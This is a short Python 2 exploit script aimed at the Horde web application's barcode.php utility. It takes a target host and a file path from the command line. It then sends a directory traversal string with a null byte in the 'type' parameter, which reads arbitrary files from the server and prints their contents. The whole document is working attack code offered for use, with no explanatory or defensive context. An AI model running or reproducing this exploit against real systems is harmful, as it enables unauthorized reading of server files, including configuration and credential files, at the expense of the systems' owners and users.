import sys
import urllib2


target = str(sys.argv[1])


requestedFile = str(sys.argv[2])


path ="/horde/util/barcode.php?type=../../../../../../../../../../../../"

#path ="/horde/util/barcode.php?type=..\..\..\..\..\..\..\..\..\..\..\..\\"

op = urllib2.build_opener()


url = 'http://'+target+path+requestedFile+"%00"

try:

	f = op.open(url)
	result =  f.read()
	print result
except urllib2.HTTPError, e:

	print "["+str(e.code)+"] " + requestedFile
